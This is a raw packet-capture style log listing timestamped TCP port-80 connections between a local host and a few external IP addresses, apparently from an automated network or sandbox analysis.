Sep 6, 2024 08:17:05.556967974 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556967974 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.557001114 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.557024956 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.557044029 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557055950 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557065964 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557079077 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557084084 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.557092905 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557110071 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.557142019 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.557738066 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557773113 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557785034 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557785034 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.557821989 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.557832956 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557843924 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557853937 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557866096 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557872057 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.557889938 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.557924032 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.557952881 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557965040 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557975054 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557986021 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.557996988 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.558008909 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.558033943 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.558725119 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.558737040 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.558748007 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.558762074 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.558777094 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.558800936 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.558806896 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.574886084 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.574925900 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.574938059 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.574944973 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.574955940 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.574959993 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.574990988 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575006008 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575016975 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575028896 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575038910 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575057030 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575062037 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575071096 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575083017 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575088024 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575094938 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575107098 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575112104 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575119019 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575143099 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575160027 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575218916 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575289965 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575301886 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575319052 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575335026 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575335979 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575346947 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575359106 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575385094 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575515032 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575526953 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575536966 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575570107 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575577021 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575582981 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575594902 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575634003 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575660944 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575673103 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575684071 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575705051 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575711966 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575721025 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575722933 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575741053 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575752020 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575752020 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575774908 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575797081 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575839043 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575850964 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575860977 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575875044 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575886011 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575887918 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.575911999 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.575928926 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576158047 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576169968 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576179028 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576204062 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576217890 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576229095 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576234102 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576245070 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576251030 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576256990 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576268911 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576271057 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576293945 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576314926 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576376915 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576433897 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576446056 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576483965 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576493979 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576512098 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576524019 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576534033 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576540947 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576551914 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576562881 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576562881 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576575994 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576587915 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576606035 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576661110 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576678038 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576689005 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576700926 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576713085 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576719999 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576725006 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.576731920 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576756954 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.576769114 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.579844952 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.579854965 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.579860926 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.579874039 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.579879045 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.579901934 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.579911947 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.579927921 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.579947948 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.580008030 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580019951 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580030918 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580041885 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580056906 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.580060005 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580073118 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580082893 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.580085039 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580096006 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.580096960 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580108881 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580123901 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.580147028 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.580179930 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580192089 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580202103 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580214977 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580224991 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580225945 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.580240965 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.580252886 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.580488920 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580499887 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580512047 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580523968 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.580535889 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.580563068 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.587410927 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.587449074 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.587459087 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.587482929 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.587508917 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.587513924 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.587526083 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.587536097 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.587565899 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.587579012 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.587658882 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.587670088 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.587681055 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.587692022 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.587711096 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.587744951 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.587748051 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.587762117 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.587790966 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.587816000 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.618424892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.618647099 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.618849039 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.623572111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.628534079 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.628544092 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.628560066 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.628571987 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.628582954 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.628593922 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.628599882 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.628643036 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.640846014 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.640887022 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.640897036 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.640916109 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.640944004 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.640948057 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.640959978 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.640970945 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.640981913 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.641019106 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.641026020 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.641036034 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.641047955 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.641058922 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.641063929 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.641068935 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.641087055 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.641104937 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.641248941 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.641264915 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.641278028 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.641304970 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.641324043 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.641330004 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.641335964 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.641371965 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.643939018 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.643987894 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.644032955 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644043922 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644049883 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644054890 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644061089 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644067049 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644184113 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644196033 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644196987 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.644222975 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.644233942 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644244909 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644274950 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.644387007 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644443035 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644443989 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.644454002 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644464970 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644478083 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.644479990 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644495964 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644500971 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.644527912 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.644556046 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.644875050 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644886017 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644902945 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644913912 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644922972 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.644926071 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644937038 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.644952059 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.644974947 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.645276070 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645292997 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645303965 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645318031 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.645349979 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.645380020 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645390987 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645401955 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645415068 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645426989 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.645447016 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.645523071 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645565987 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.645590067 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645603895 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645615101 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645636082 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.645663977 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.645776987 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645823956 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.645890951 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645900965 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645911932 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645925045 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645935059 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.645936012 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645947933 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645951986 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.645976067 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645983934 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.645987988 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.645998001 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646009922 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646013975 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646020889 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646034956 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646038055 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646050930 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646064043 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646096945 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646440029 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646450996 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646461964 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646509886 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646518946 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646531105 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646542072 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646553040 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646554947 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646584034 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646614075 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646692991 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646703959 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646716118 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646739960 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646758080 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646759033 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646770000 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646780014 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646790981 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646800041 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646805048 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646815062 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646817923 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646827936 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.646846056 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.646872044 CEST	49735	80	192.168.2.4	46.29.235.52
